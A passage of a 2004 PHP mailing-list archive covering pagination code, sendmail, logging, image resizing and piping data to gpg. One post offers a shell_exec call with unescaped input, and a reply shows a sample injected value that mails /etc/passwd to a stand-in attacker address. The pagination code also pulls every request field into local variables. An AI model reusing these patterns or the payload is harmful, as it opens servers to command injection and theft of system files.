>> > >>----------------------- > >> > >>At this point I'm not sure what else to do since I'm close to implementing > >> > >> > >my Pagination class instantiation on my other display classes, but not until > >I get this one problem fixed or someone just guide me in the right direction > >as to the exactly working algorithm for at least the "next" links to display > >correctly. > > > > > >> > >> > >>*Update* > >> > >>I am basing my algorithm on the tutorial at > >>http://www.phpfreaks.com/tutorials/43/4.php > >> > >>Thanx > >>Phil > >>-------------------------------------------------------------------------- > >> > >> > >------- > > > > > >>Phil Powell > >>Multimedia Programmer > >>BPX Technologies, Inc. > >>#: (703) 709-7218 x107 > >>Fax: (703) 709-7219 > >> > >> > >> > >>_______________________________________________ > >>talk mailing list > >>talk at lists.nyphp.org > >>http://lists.nyphp.org/mailman/listinfo/talk > >> > >> > >> > >> > > > >_______________________________________________ > >talk mailing list > >talk at lists.nyphp.org > >http://lists.nyphp.org/mailman/listinfo/talk > > > > > > > > > -- > --------------------------------------------------------------------------------- > Phil Powell > Multimedia Programmer > BPX Technologies, Inc. > #: (703) 709-7218 x107 > Fax: (703) 709-7219 > > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From phillip.powell at adnet-sys.com Thu Jun 3 16:25:42 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Thu, 03 Jun 2004 16:25:42 -0400 Subject: [nycphp-talk] Problem with Pagination In-Reply-To: <001e01c449a7$ce7c1160$e18a3118@codebowl> References: <40BF63C4.3040209@adnet-sys.com><001801c449a2$07aaf330$e18a3118@codebowl> <40BF82FF.7060707@adnet-sys.com> <001e01c449a7$ce7c1160$e18a3118@codebowl> Message-ID: <40BF8946.9010403@adnet-sys.com> Joe Crawford Jr. wrote: > Phillip, > > here is your code, the red ( ) are the one's i added ;) let me know if > that worked. > > // NEXT LINK > $offset = (int)(@sizeof($this->result) - ($displayItemLimit * > ($page - 1))); > > if ($offset > 0) { > $pageNext = $page + 1; > $html .= " |  href=\"index.php?$qs&page=$pageNext\">Next "; > > $html .= (*(*$offset + (int)$displayItemLimit*)* > > @sizeof($this->result)) ? (int)($displayItemLimit - $offset) : > $displayItemLimit; > > $html .= " ${section}s in \"$album\""; > } Ok, at long long last, after 2 whole days I successfully implemented Pagination on at least one of the Views. One down, 12 more to go :( here is the Pagination method displayPage() in its entirety. Thanx for your help, I'm not that quick on complex mathematical algorithms.. [PHP] /** * Display pagination links * * @access public * @param boolean $willHideAlbum (default false) * @return mixed HTML */ function &displayPage($willHideAlbum = false) { // STATIC HTML STRING METHOD global $section, $action, $album, $headerMenuArray, $willPaginate, $displayItemLimit; foreach ($_REQUEST as $key => $val) if (!isset(${$key})) ${$key} = $val; $qs = "section=$section&action=$action&sort=$sort&chooseAlbum=1&album=" . urlencode($album) . '&willKeepPageSession=1'; // FOR EASE OF WRITE if ((int)$page === 0) $page = 1; $page = (int)$page; // CONVERT TO INTEGER if (@sizeof($this->result) > $displayItemLimit && $willPaginate) { $html .= "
\n"; // PREVIOUS LINK if ((int)$page !== 1) { $pagePrev = $page - 1; $html .= " Previous $displayItemLimit ${section}s"; if (!$willHideAlbum) $html .= " in \"$album\""; $html .= ' | '; } $numPages = (int)(@sizeof($this->result) / $displayItemLimit); // ALL PAGES (PAGE NUMBER) LINK(S) EXCEPT FOR LAST PAGE for ($i = 1; $i <= $numPages; $i++) { if ((int)$i === (int)$page) $html .= "$i "; else $html .= "$i "; if ($i + 1 <= $numPages) $html .= '| '; } // LAST PAGE NUMBER LINK if (@sizeof($this->result) % $displayItemLimit != 0) { $html .= '| '; if ((int)$i === (int)$page) $html .= "$i  "; else $html .= "$i  "; } // NEXT LINK $pageItemCount = (int)(@sizeof($this->result) - ($page * $displayItemLimit)); if ($page <= $numPages && (int)$pageItemCount > 0) { $pageNext = $page + 1; $html .= "| Next "; $html .= ($pageItemCount < $displayItemLimit) ? $pageItemCount : $displayItemLimit; $html .= " ${section}s"; if (!$willHideAlbum) $html .= " in \"$album\""; $html .= ''; } $html .= "\n
\n"; } return $html; } [/PHP] Phil From jcrawford at codebowl.com Thu Jun 3 16:24:35 2004 From: jcrawford at codebowl.com (Joe Crawford Jr.) Date: Thu, 3 Jun 2004 16:24:35 -0400 Subject: [nycphp-talk] Problem with Pagination References: <40BF63C4.3040209@adnet-sys.com><001801c449a2$07aaf330$e18a3118@codebowl> <40BF82FF.7060707@adnet-sys.com><001e01c449a7$ce7c1160$e18a3118@codebowl> <40BF8946.9010403@adnet-sys.com> Message-ID: <003c01c449a8$c9802b50$e18a3118@codebowl> Phillip, was that the problem? Joe Crawford Jr. ----- Original Message ----- From: "Phillip Powell" To: "NYPHP Talk" Sent: Thursday, June 03, 2004 4:25 PM Subject: Re: [nycphp-talk] Problem with Pagination > Joe Crawford Jr. wrote: > > > Phillip, > > > > here is your code, the red ( ) are the one's i added ;) let me know if > > that worked. > > > > // NEXT LINK > > $offset = (int)(@sizeof($this->result) - ($displayItemLimit * > > ($page - 1))); > > > > if ($offset > 0) { > > $pageNext = $page + 1; > > $html .= " |  > href=\"index.php?$qs&page=$pageNext\">Next "; > > > > $html .= (*(*$offset + (int)$displayItemLimit*)* > > > @sizeof($this->result)) ? (int)($displayItemLimit - $offset) : > > $displayItemLimit; > > > > $html .= " ${section}s in \"$album\""; > > } > > > > Ok, at long long last, after 2 whole days I successfully implemented > Pagination on at least one of the Views. One down, 12 more to go :( > > here is the Pagination method displayPage() in its entirety. Thanx for > your help, I'm not that quick on complex mathematical algorithms.. > > [PHP] > /** > * Display pagination links > * > * @access public > * @param boolean $willHideAlbum (default false) > * @return mixed HTML > */ > function &displayPage($willHideAlbum = false) { > // STATIC HTML STRING METHOD > global $section, $action, $album, $headerMenuArray, > $willPaginate, $displayItemLimit; > foreach ($_REQUEST as $key => $val) if (!isset(${$key})) ${$key} > = $val; > > $qs = > "section=$section&action=$action&sort=$sort&chooseAlbum=1&album=" . > urlencode($album) . '&willKeepPageSession=1'; // FOR EASE OF WRITE > > if ((int)$page === 0) $page = 1; > $page = (int)$page; // CONVERT TO INTEGER > > if (@sizeof($this->result) > $displayItemLimit && > $willPaginate) { > > $html .= "
\n"; > > // PREVIOUS LINK > if ((int)$page !== 1) { > $pagePrev = $page - 1; > $html .= " Previous > $displayItemLimit ${section}s"; > if (!$willHideAlbum) $html .= " in \"$album\""; > $html .= ' | '; > } > > $numPages = (int)(@sizeof($this->result) / $displayItemLimit); > > // ALL PAGES (PAGE NUMBER) LINK(S) EXCEPT FOR LAST PAGE > for ($i = 1; $i <= $numPages; $i++) { > if ((int)$i === (int)$page) $html .= "$i "; else $html .= > "$i "; > if ($i + 1 <= $numPages) $html .= '| '; > } > > // LAST PAGE NUMBER LINK > if (@sizeof($this->result) % $displayItemLimit != 0) { > $html .= '| '; > if ((int)$i === (int)$page) $html .= "$i  "; else $html > .= "$i  "; > } > > // NEXT LINK > $pageItemCount = (int)(@sizeof($this->result) - ($page * > $displayItemLimit)); > if ($page <= $numPages && (int)$pageItemCount > 0) { > $pageNext = $page + 1; > $html .= "|  href=\"index.php?$qs&page=$pageNext\">Next "; > $html .= ($pageItemCount < $displayItemLimit) ? $pageItemCount > : $displayItemLimit; > $html .= " ${section}s"; > if (!$willHideAlbum) $html .= " in \"$album\""; > $html .= ''; > } > > $html .= "\n
\n"; > } > return $html; > } > [/PHP] > Phil > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > > From dyun at blue-iceberg.com Thu Jun 3 16:37:47 2004 From: dyun at blue-iceberg.com (David Yun) Date: Thu, 03 Jun 2004 16:37:47 -0400 Subject: [nycphp-talk] sending email from PHP In-Reply-To: Message-ID: Corey, Are you running mac osx? The reason why I ask is that there have been some permissions issues with the default configuration of sendmail on os x, specifically Jaguar. If so, this article might help: hope this helps Dave > > > > I?m not a sendmail expert, and I?d bet that something is screwy with either my > sendmail configuration or with our local DNS setup. I also agree that my > problem is outside of PHP. > > For example when I try to do manually what PHP does with the mail() function: > > sendmail -v corey at domanistudios.com > (the ?v tag makes it verbose, and body). > > This takes just as long as mail(): about 30-45sec. > > Mike DeWitt?s trick doesn't seem to be working either, and I think it?s > because of this line: > > putenv("PHP_SENDMAILPARAMS= -O DeliveryMode=defer -f $fromaddress"); > > Does anyone know if ?PHP_SENDMAILPARAMS? is something special that sendmail > listens for? I?m not familiar with how PHP, environment variables, and > sendmail cooperate with each other. Can anyone explain this? Do I need to tell > sendmail to look for this environment variable? > > I?m interested in how sites are able to send out millions of emails a day... > there must be a simple way that I?m overlooking. > > > -corey > > > > On 6/3/04 3:03 PM, "Eric Rank" wrote: > >> sending email from PHPHi Corey, >> >> Sounds like an interesting problem. I've toyed with various mail sending >> scripts including phpmailer (http://phpmailer.sourceforge.net) and >> pear_mail_mime with pretty good luck in multiple configurations. In the >> configurations I've used, the script calls out to sendmail (in my case Exim, >> which is a nice drop-in alternative to sendmail) and places the mail in the >> que of the mail server. The script runs as fast as it can make a request to >> the mail server. That said, I think the problem is outside php. If you're >> experiencing problems communicating with sendmail, you might try clearing >> out the existing que first. It looks like Michael's suggestion is much more >> in depth than what I'm telling you though. I bet he's right on the money. >> >> I haven't dealt extensively with email address verification though. I've >> toyed around with various ideas, but as far as I know, outside of making >> requests to the MX of the domain directly, there's not an elegant way to >> handle it. In doing so, you're actually writing a mail server. Quite a task. >> As such, I've just had to deal with the replies to the sender's email from >> the email recipient's MX telling me that the address doesn't exist, or that >> the mailbox is full, or whatever. >> >> I'd be interested in hearing other people's solutions for email >> verification. It's such an important thing to do. There's gotta be an easy >> way. >> >> Good luck! >> >> Eric > > > DOMANI STUDIOS > > Corey Szopinski > Technology Director > > corey at domanistudios.com > 70 Washington St. Suite 710 > Brooklyn, NY 11201 > 718.797.4470 x116 > > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > David Yun Production Manager Blue Iceberg LLC Interactive Strategy | Website Development | Business Solutions http://www.blue-iceberg.com Tel: 212.413.9226 Ext.9238 Fax: 212.413.9201 From csnyder at chxo.com Thu Jun 3 16:41:56 2004 From: csnyder at chxo.com (Chris Snyder) Date: Thu, 03 Jun 2004 16:41:56 -0400 Subject: [nycphp-talk] Problem with Pagination In-Reply-To: <40BF8946.9010403@adnet-sys.com> References: <40BF63C4.3040209@adnet-sys.com><001801c449a2$07aaf330$e18a3118@codebowl> <40BF82FF.7060707@adnet-sys.com> <001e01c449a7$ce7c1160$e18a3118@codebowl> <40BF8946.9010403@adnet-sys.com> Message-ID: <40BF8D14.6020308@chxo.com> Could you please take this discussion off list? Thanks in advance. From mikeh at dtev.com Thu Jun 3 16:48:41 2004 From: mikeh at dtev.com (mike hjorleifsson) Date: Thu, 3 Jun 2004 16:48:41 -0400 Subject: [nycphp-talk] Training... In-Reply-To: <40BF8D14.6020308@chxo.com> Message-ID: Can anyone recommend online or CBT training for PHP for someone in a hurry to learn ? From phillip.powell at adnet-sys.com Thu Jun 3 16:49:40 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Thu, 03 Jun 2004 16:49:40 -0400 Subject: [nycphp-talk] Problem with Pagination In-Reply-To: <40BF8D14.6020308@chxo.com> References: <40BF63C4.3040209@adnet-sys.com><001801c449a2$07aaf330$e18a3118@codebowl> <40BF82FF.7060707@adnet-sys.com> <001e01c449a7$ce7c1160$e18a3118@codebowl> <40BF8946.9010403@adnet-sys.com> <40BF8D14.6020308@chxo.com> Message-ID: <40BF8EE4.5040601@adnet-sys.com> Chris Snyder wrote: > Could you please take this discussion off list? > > Thanks in advance. > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > It's fixed, I'm done as far as I know. Phil -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 From andrew at digitalpulp.com Thu Jun 3 17:22:38 2004 From: andrew at digitalpulp.com (Andrew Yochum) Date: Thu, 3 Jun 2004 17:22:38 -0400 Subject: [nycphp-talk] Digital Signatures in PHP In-Reply-To: <40BF729F.8060002@omnistep.com> References: <40BF3FEA.80301@omnistep.com> <20040603172658.GB10132@panix.com> <40BF6545.3000401@phpwerx.net> <40BF729F.8060002@omnistep.com> Message-ID: <20040603212228.GB2588@thighmaster.digitalpulp.com> On Thu, Jun 03, 2004 at 02:49:03PM -0400, Rolan Yang wrote: > Yea, sometimes I wish you could just pipe data to gpg and have it spit > out an > encrypted message... rather than having it operate on an existing file. > Storing > sensitive information in a temporary file which has readable permissions > by the web server leaves me feeling a bit insecure too. Actually, you can do that with the popen() function - it can a pipe to the STDOUT of the gpg command. Use a pipe or input re-direction to feed it data. There are gpg examples in the comments: http://php.net/popen You can also use proc_open() for bi-directional pipes if you have >= 4.3 avoiding the input trickery: http://php.net/proc_open Use the latter if possible... less headaches. Andrew From jsiegel1 at optonline.net Thu Jun 3 17:44:11 2004 From: jsiegel1 at optonline.net (Jeff Siegel) Date: Thu, 03 Jun 2004 17:44:11 -0400 Subject: [nycphp-talk] PHP Solution for Website stats In-Reply-To: <40BF5785.1070209@omnistep.com> References: <40BF5785.1070209@omnistep.com> Message-ID: <40BF9BAB.5020704@optonline.net> The problem seems to be that some things are not making it into the logs (so slicing-and-dicing won't help) though we know, for certain, that it should be in the logs. After all, we have a three-step form procedure so we know that people make it to step 3. However, this doesn't show up in the logs. (We know they get to step 3 because the info they provide goes into a database.) Jeff S. Rolan Yang wrote: > Actually, it would be quite easy to import. You would only need a 5 line > shell > script which sliced and diced the existing logs. Then a mysql query to > "load data infile into table blag_logs". > > For low bandwidth sites, I don't see a problem with mod_log_sql, however > if you are > serving lots of pages, you could quickly saturate your network or disk > i/o bandwidth (depending > on if your mysql is on the same machine or another). > > As an example, I'm hosting a pretty high traffic phpBB for someone right > now. Sometimes > the site is hit with like 30+ page requests/sec. PhpBB is quite a hog > and when people are viewing > a page full of posts that contain 100+smiley icons, etc (each one > counting as a hit) you can > easily run up like 3000 hits/sec. Each hit is an entry in the apache > log... Now if you had mod_log_sql > running, your server would have to manage 3000+ mysql inserts per sec.. > that would place a serious > load not only on your disk i/o but also cpu. What makes matters worse > with phpBB, is (and I'm not > completely sure about this) that the pages are set to "nocache" so > everything is reloaded upon > every page access. This keeps the load on the server consistently high > throughout the day. > > ~Rolan > > Jeff Siegel wrote: > > >Thanks for pointing this out. I remember that article. > >I'm looking for a "brain-dead" solution, i.e., one that can be > >implemented in minutes. > > > >Jeff > > > David Mintz wrote: > > > Jeremy Zawodny has some interesting ideas about using MySQL > > for logging: http://www.linux-mag.com/2002-10/lamp_01.html > > > > > > On Thu, 3 Jun 2004, Jeff Siegel wrote: > > > > > >>The web stats provided by my client's ISP (shared hosting) leaves a lot > >>to be desired (seems that some things are not being recorded in the > >>stats log). Just wondering if there is a PHP/MySQL-based solution that > >>will allow us to get some real stats. > > > > > > > > --- > > David Mintz > > http://davidmintz.org/ > > > > "Anybody else got a problem with Webistics?" -- Sopranos 24:17 > > _______________________________________________ > > talk mailing list > > talk at lists.nyphp.org > > http://lists.nyphp.org/mailman/listinfo/talk > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From yfhk9e5jdf at yahoo.com Thu Jun 3 17:52:28 2004 From: yfhk9e5jdf at yahoo.com (Dan Spicer) Date: Thu, 3 Jun 2004 14:52:28 -0700 (PDT) Subject: [nycphp-talk] image updating Message-ID: <20040603215228.27321.qmail@web51803.mail.yahoo.com> Does anyone know of php code with functionality similar to ASPImage for the automatic resizing of images? Thanks, -Dan __________________________________ Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger. http://messenger.yahoo.com/ From phillip.powell at adnet-sys.com Thu Jun 3 18:03:32 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Thu, 03 Jun 2004 18:03:32 -0400 Subject: [nycphp-talk] image updating In-Reply-To: <20040603215228.27321.qmail@web51803.mail.yahoo.com> References: <20040603215228.27321.qmail@web51803.mail.yahoo.com> Message-ID: <40BFA034.1050807@adnet-sys.com> Dan Spicer wrote: >Does anyone know of php code with functionality >similar to ASPImage for the automatic resizing of >images? > >Thanks, > -Dan > > > > Built into the PHP code there is an entire suite of functions available for image resizing and other image-related manipulations. http://www.php.net/image Phil > > >__________________________________ >Do you Yahoo!? >Friends. Fun. Try the all-new Yahoo! Messenger. >http://messenger.yahoo.com/ >_______________________________________________ >talk mailing list >talk at lists.nyphp.org >http://lists.nyphp.org/mailman/listinfo/talk > > > -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 From shiflett at php.net Thu Jun 3 18:01:39 2004 From: shiflett at php.net (Chris Shiflett) Date: Thu, 3 Jun 2004 15:01:39 -0700 (PDT) Subject: [nycphp-talk] Training... In-Reply-To: Message-ID: <20040603220139.94038.qmail@web14310.mail.yahoo.com> --- mike hjorleifsson wrote: > Can anyone recommend online or CBT training for PHP for someone in a > hurry to learn ? I don't know about the hurry part, but Zend has online training now: http://www.zend.com/store/education/zend-online-training.php Chris ===== Chris Shiflett - http://shiflett.org/ PHP Security - O'Reilly Coming Fall 2004 HTTP Developer's Handbook - Sams http://httphandbook.org/ PHP Community Site http://phpcommunity.org/ From jeffknight at mac.com Thu Jun 3 18:02:07 2004 From: jeffknight at mac.com (putamare) Date: Thu, 3 Jun 2004 18:02:07 -0400 Subject: [nycphp-talk] image updating In-Reply-To: <20040603215228.27321.qmail@web51803.mail.yahoo.com> References: <20040603215228.27321.qmail@web51803.mail.yahoo.com> Message-ID: http://nyphp.org/content/presentations/GDintro/ On Jun 3, 2004, at 5:52 PM, Dan Spicer wrote: > Does anyone know of php code with functionality > similar to ASPImage for the automatic resizing of > images? > > Thanks, > -Dan > > > > > __________________________________ > Do you Yahoo!? > Friends. Fun. Try the all-new Yahoo! Messenger. > http://messenger.yahoo.com/ > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > putamare not junk at putamare.net From jcrawford at codebowl.com Thu Jun 3 18:26:21 2004 From: jcrawford at codebowl.com (Joe Crawford Jr.) Date: Thu, 3 Jun 2004 18:26:21 -0400 Subject: [nycphp-talk] Problem with Pagination References: <40BF63C4.3040209@adnet-sys.com><001801c449a2$07aaf330$e18a3118@codebowl> <40BF82FF.7060707@adnet-sys.com> <001e01c449a7$ce7c1160$e18a3118@codebowl><40BF8946.9010403@adnet-sys.com> <40BF8D14.6020308@chxo.com> Message-ID: <004e01c449b9$cc8481f0$e18a3118@codebowl> Chris i thought that was what this list was for ;) ----- Original Message ----- From: "Chris Snyder" To: "NYPHP Talk" Sent: Thursday, June 03, 2004 4:41 PM Subject: Re: [nycphp-talk] Problem with Pagination > Could you please take this discussion off list? > > Thanks in advance. > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > > From shiflett at php.net Thu Jun 3 18:34:51 2004 From: shiflett at php.net (Chris Shiflett) Date: Thu, 3 Jun 2004 15:34:51 -0700 (PDT) Subject: [nycphp-talk] Problem with Pagination In-Reply-To: <004e01c449b9$cc8481f0$e18a3118@codebowl> Message-ID: <20040603223451.56187.qmail@web14303.mail.yahoo.com> --- "Joe Crawford Jr." wrote: > Chris i thought that was what this list was for I think he was tired of reading through dozens of emails where you were trying to help someone figure out where a pair of parentheses were in their code. There's a point after which where you are no longer answering a question but are having a private discussion (and hand-holding), and that point was passed. I agree with Chris, even though I didn't speak up. Chris ===== Chris Shiflett - http://shiflett.org/ PHP Security - O'Reilly Coming Fall 2004 HTTP Developer's Handbook - Sams http://httphandbook.org/ PHP Community Site http://phpcommunity.org/ From jeffknight at mac.com Thu Jun 3 18:44:18 2004 From: jeffknight at mac.com (putamare) Date: Thu, 3 Jun 2004 18:44:18 -0400 Subject: [nycphp-talk] Problem with Pagination In-Reply-To: <20040603223451.56187.qmail@web14303.mail.yahoo.com> References: <20040603223451.56187.qmail@web14303.mail.yahoo.com> Message-ID: <8C279A75-B5AF-11D8-917E-000393B9FB36@mac.com> On Jun 3, 2004, at 6:34 PM, Chris Shiflett wrote: > I agree with Chris, even though I didn't speak up. 2nd that here. One of the reasons this list is worth anything is the high signal to noise ratio: ongoing discussions of php-related subjects that many people will find useful. When discussions bog down in particulars that are of little interest to the general subscriber base, it threatens the list itself since it makes people more likely to unsubscribe. While we are here to help each other out, and point out new directions and ideas, this list isn't a substitute for hiring a developer. If you can't phrase a question in a manner that is generically of interest, it isn't really of any interest for anybody to answer. We all get stuck sometimes, and deserve an occasional hand, but habitual hand-holding should not be encouraged. Jeff Knight putamare not junk at putamare.net From jcrawford at codebowl.com Thu Jun 3 18:46:26 2004 From: jcrawford at codebowl.com (Joe Crawford Jr.) Date: Thu, 3 Jun 2004 18:46:26 -0400 Subject: [nycphp-talk] Problem with Pagination References: <20040603223451.56187.qmail@web14303.mail.yahoo.com> <8C279A75-B5AF-11D8-917E-000393B9FB36@mac.com> Message-ID: <000f01c449bc$9a77fa90$e18a3118@codebowl> Understood.... thanks for the cl;arification i thought this list was more for helping like i had ;) Joe ----- Original Message ----- From: "putamare" To: "NYPHP Talk" Sent: Thursday, June 03, 2004 6:44 PM Subject: Re: [nycphp-talk] Problem with Pagination > On Jun 3, 2004, at 6:34 PM, Chris Shiflett wrote: > > I agree with Chris, even though I didn't speak up. > > 2nd that here. One of the reasons this list is worth anything is the > high signal to noise ratio: ongoing discussions of php-related subjects > that many people will find useful. When discussions bog down in > particulars that are of little interest to the general subscriber base, > it threatens the list itself since it makes people more likely to > unsubscribe. > > While we are here to help each other out, and point out new directions > and ideas, this list isn't a substitute for hiring a developer. If you > can't phrase a question in a manner that is generically of interest, it > isn't really of any interest for anybody to answer. We all get stuck > sometimes, and deserve an occasional hand, but habitual hand-holding > should not be encouraged. > > > Jeff Knight > putamare not junk at putamare.net > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > > From drydell at att.net Fri Jun 4 03:03:09 2004 From: drydell at att.net (David Rydell) Date: Fri, 4 Jun 2004 03:03:09 -0400 Subject: [nycphp-talk] Digital Signatures in PHP References: <40BF3FEA.80301@omnistep.com> <20040603172658.GB10132@panix.com><40BF6545.3000401@phpwerx.net> <40BF729F.8060002@omnistep.com> <20040603212228.GB2588@thighmaster.digitalpulp.com> Message-ID: <010201c44a01$ff4f5b30$5d8a4b0c@SonyVaio> > > Yea, sometimes I wish you could just pipe data to gpg and have it spit... You can pipe data to gpg directly... this snippet is from my email class, which does exactly that: $enc = chunk_split(base64_encode(shell_exec("echo '$data' | /usr/bin/gpg --homedir /user/.gnupg --compress-algo 1 --cipher-algo 3des -e -r $recipient 2>> /user/cgi-logs/gpg.log"))); (note the compression/cipher is completely compatible with pgp) I got the technique from browsing their website http://www.gnupg.org/ From rolan at omnistep.com Fri Jun 4 04:07:15 2004 From: rolan at omnistep.com (Rolan Yang) Date: Fri, 04 Jun 2004 04:07:15 -0400 Subject: [nycphp-talk] Digital Signatures in PHP In-Reply-To: <010201c44a01$ff4f5b30$5d8a4b0c@SonyVaio> References: <40BF3FEA.80301@omnistep.com> <20040603172658.GB10132@panix.com><40BF6545.3000401@phpwerx.net> <40BF729F.8060002@omnistep.com> <20040603212228.GB2588@thighmaster.digitalpulp.com> <010201c44a01$ff4f5b30$5d8a4b0c@SonyVaio> Message-ID: <40C02DB3.2020202@omnistep.com> That is great news! Hey, is there any danger in doing echo's of $data with shell_exec? I'm wondering, if someone injected $data with something like say.. "This is is the message I want encrypted.'; /bin/cat /etc/passwd | /bin/mail evilhaxor at hotmail.com; echo 'misc info" would that all get encrypted entirely or would it run the shell code sandwiched in the middle? ~Rolan David Rydell wrote: >>>Yea, sometimes I wish you could just pipe data to gpg and have it >>> >>> >spit... > >You can pipe data to gpg directly... this snippet is from my email class, >which does exactly that: > >$enc = chunk_split(base64_encode(shell_exec("echo '$data' | >/usr/bin/gpg --homedir /user/.gnupg --compress-algo 1 --cipher-algo >3des -e -r $recipient 2>> /user/cgi-logs/gpg.log"))); > >(note the compression/cipher is completely compatible with pgp) > >I got the technique from browsing their website http://www.gnupg.org/ > > >_______________________________________________ >talk mailing list >talk at lists.nyphp.org >http://lists.nyphp.org/mailman/listinfo/talk > > > >From hans not junk at nyphp.com Fri Jun 4 09:28:58 2004 Return-Path: Received: from ehost011-1.intermedia.net (ehost011-1.intermedia.net [64.78.21.3]) by virtu.nyphp.org (Postfix) with ESMTP id C938DA85F3 for ; Fri, 4 Jun 2004 09:28:57 -0400 (EDT) X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----_=_NextPart_001_01C44A37.E2B0DC53" Subject: RE: [nycphp-talk] PHP/Bluetooth/Serial Date: Fri, 4 Jun 2004 06:28:53 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F8702512C7E at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: yes X-MS-TNEF-Correlator: Thread-Topic: [nycphp-talk] PHP/Bluetooth/Serial Thread-Index: AcRIqPJSX1S5Z9lBQBmaHMmv5D4qGgBjgmEA From: "Hans Zaunere" To: "NYPHP Talk" X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 04 Jun 2004 13:28:58 -0000 This is a multi-part message in MIME format. ------_=_NextPart_001_01C44A37.E2B0DC53 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable > anyways, many of the classes deal with writing directly to serial > (/dev/rfcomm0) which php can do but i havent seen many=20 > classes that deal directly w/ devices, are there any in php? Negative; PHP doesn't like binary too, well. Luckily, being the forward-thinkers that they are, PHP developers made C extensions easy. I did one that talked to a serial card reader. > i had considered taking the ruby "driver" i found and=20 > wrapping it in PHP_FUNCTION()'s for a module but thought it=20 > would be overkill to create an extension. >=20 > has anyone seen any php code like this? what im trying to=20 > envision doing is something like: >=20 > $phone =3D new Phone("t68i"); > $phone->addNewMenu($menu, $evnt); > $phone->showMenu($menu); > ... then event handlers ... Exactly... see attached for code sample (and I used a goto so shoot me :) H ------_=_NextPart_001_01C44A37.E2B0DC53 Content-Type: application/x-gzip; name="msr.tar.gz" Content-Transfer-Encoding: base64 Content-Description: msr.tar.gz Content-Disposition: attachment; filename="msr.tar.gz" H4sIAK14wEAAA+07+XPaSNb5NfwVHeJDeMTpa2PGSRGQbWowuARe74wnpZKlBvRFSJQkQshM/vfv ve7WiSDZycbZw6oyhu5+R79+V79uzXxPq1dq1Wff8anVjmqnx8fwv1Y7PTlK/RfPs9rpaaPeqB0d 1xvPavX6ydHpM3L8PZkKn4Uf6B4hz+ae/tHyN4/7Uv9/6DMT6w//K8Z3olGr12onR0cb1r9+cnjS yKx/46RRf0Zq34mf1PM/vv6Fl5Zj2AuTkiKqwLRYKBSqB6Q7Jit3QUxq2LpHie6syMR2H3TbJ5ZD 5tO5xkaThWO4sxl1AhJMLf+MHFQLvyn9jtZR2r2WqmjXg85tT9Eue4O3rd5QAqASEBgDWGC5jgaA 3oqgDoZN/v07ck7+KBBCGKILBYE0y7EC+Xn/ttcrZbsmNNACa0Zlktvtb+823IUTaB41XM/0N4xB CnzEhgHU032q6bad6P8Dv/Hf/PNz4XOzUPhEHVObuebCponZpxrE9IejVr/TUjuhDK+UVkdRZezC pSqybynRyRFf191+d8RYm6HkSqyHsfKFL8Vapc4xZ8nfqIMbRR11lSGbB+jN2KRj0h5c33Shu9PT rocqX/xLZSSg+IK/hDlbY4ABUwssg3xwLZP41kSb6o5pU08CnQqwwVnMSKnAZi+GYocFEqkhSWxe WoExlaLBXFTwGLACZNi97PZH5Ey0wTOee4BiLPmBST1PLgKP5E73yS+WbVPzxYsXxVIzHs0W50G3 bHcRSKUmyXuqVWL5mZHEo7D4K7Kc6gFZUrLUneBNIcNZq6deJ1nL4e5353enrXsmUakOLaTvBvDV n7sgP2dSwe4bmyI+Y0qN92BzQM8K9n1iuI5DjYCaYKomuXGX1IPvAyc9P2sskZ9+ssjrc9JIyG7L 5GG2OB+QFpsUCVyYa7DwHPwWTCmZ6eAPwAEsZOJ6xHdnFByBM5HJwyIgBvUC6AfJODCT/wNXS0yL xlQ/x18fQITvm6HMQLP0hR1sW8mhviJ3MP8321awwIh8Bt2JzUK7uO23R91BP2EfoHPPQaWYryA+ /GvC78BbGEwtdWZe+G2y4iwyVbQmY5ALDJb2EIRTg9a55xoz3X8vwaJrb3uD9i8yGyAz38ARMFwV Xw9NAFR8L2ERzdSYsa1PfG4Ez3EJI5YkrvDyHhvK8ZM//0wPQL1Lj4hXPivUeLIXIENqxrLNFSx+ CnUY3rbbynDYTAh7eHU76gzu+hmB+9NFYLpLRxh6HnzaT7iauZjNYdp8QQLqzSzXJwfQw7wF6Gie KY3EuCEDW0AUG4OGXnTIromGVJTJ2OQTWYe1UORnZHcBo4BM+bWhsaZN49318e628cb6eGPbeHt9 vL1tvDWcU2oKAGMMAczysUUCYFj/TbNYg3K/AooJs5RaOPTaLLjOTGndtiBQerNmtnG8sG1GYc3l Z+yMjYyMjc7mwSruQ9Sxiemmme6ShT3gEAhw6qh93Tkr5NntUBldt4bCchnJyHxxOMQR7ZLps205 70uVsQkcu3PqSNke/GbSD5YBGchAUzt3KvkTvvQH7dHoVyFUNOocjD+T2hZbhfVCert+SRgrLJzP 